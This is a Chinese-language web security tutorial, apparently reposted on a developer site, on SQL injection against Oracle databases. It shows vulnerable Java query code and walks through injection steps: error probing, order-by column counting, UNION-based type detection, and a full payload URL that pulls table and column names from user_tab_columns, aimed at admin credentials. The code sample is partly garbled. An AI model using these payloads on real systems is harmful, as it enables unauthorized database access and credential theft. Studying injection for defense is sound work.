概述
Oracle数据库代码分析
Sql注入形成的主要原因是:由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。示例代码如下
id . request .getParameter(“id”);
String strSQL . “select title ,content fron news where id=” + id;
ResultSet rs . stnt .executeQuery(strSQL);
while(rs .next())
{
String title . rs.getString(“title”);
String content . rs .getString(“content”);
out .print(“<tr><td>”+ title *”</td></tr><tr><td><br/>” + content + “</td></tr>”);
}
在第二行可以看出,接收的参数id没有经过处理就直接执行,由于对 and,select等关键字没有过滤。所以接下来我们可以使用and,select等构造sql语句来获得管理员账号密码
注入实战
url:http://xxx.com/ID=1010
1.检查注入点以及数据库类型。url后加’
http://xxx.com/ID=1010’
报错,可推断ID为注入点。ORA-xxxxx这种类型为oracle特有报错方式,所以判断为数据库oracle。
2.判断字段个数。
url后加’ order by number–
到8能正常显示,故字段数为8.
3.确定每个字段类型。
技巧1:dual表和user_tables表是oracle中的系统表。
技巧2:确定字段类型使用union语句,union操作符用于合并两个或者多个select语句的字符集
(1)union内部的select语句必须拥有相同的列
(2)列也必须拥有相同的数据类型
(3)每条select语句中的列顺序必须相同
null默认匹配所有字段’null’匹配字符类型
‘union select null,null,null,null,null,null,null,null from user_tables–
对每一位判断是数字型还是字符型,对相判断的那一位改成’null’,若是字符型则界面返回null;否则是数字型
将所有类型判断出来后,将数字和字符带入,因为不是每一个类型都是数字和字符型,比如说时间类型等。
综上可以判断出1,2,7,8为数字,3,4,5为字符,第六位为其他类型:
4.显示union后查询结果
利用and 1=2 union 1,2,’3’,’4’,5 fromuser_tables
1,2,3,4,5位置对印的是之前查询各个字符串的位置,在union语句添加and 1=2使一句正常查询无返回结果,此时1,2,3,4,5会对应显示在现实解密那替换元查询结果,这样一来可以大致确定每一个元素的作用,比如字段1是题目等等。
这里需提到的思想是,表单里的每一个字段都是组成Web页面的元素之一。
5.获取表名。
现在知道了有几个字段,每个字段存储的功能,但是我们仍不知道名字,所以将union后的某一查询数字替换,替换成table_name,可以得到表名。
6.获取表的字段数量
方法是比较判断查询。
7.查询目标名称-字段名
变换rownum大小获取自短信息,rownum的值是上一步获取到的字段数量。
http://xxx.com/ID=1010’ and 1=2 union select 1,2,column_name,’4’,’5’,null,7,1 from (select * from (select column_name from user_tab_columns where table_name=’表名’ order by 1 asc)where rownum <= 3 order by 1 desc) where rownum<=1–
这样可以得到字段名,再将其带入 http://xxx.com/ID=1010’ and 1=2 union select 1,2,’3’,’4’,’5’,null,7,1 from 数据库 可以得到目标数据。
最后
以上就是危机巨人为你收集整理的web安全-Oracle数据库注入的全部内容,希望文章能够帮你解决web安全-Oracle数据库注入所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复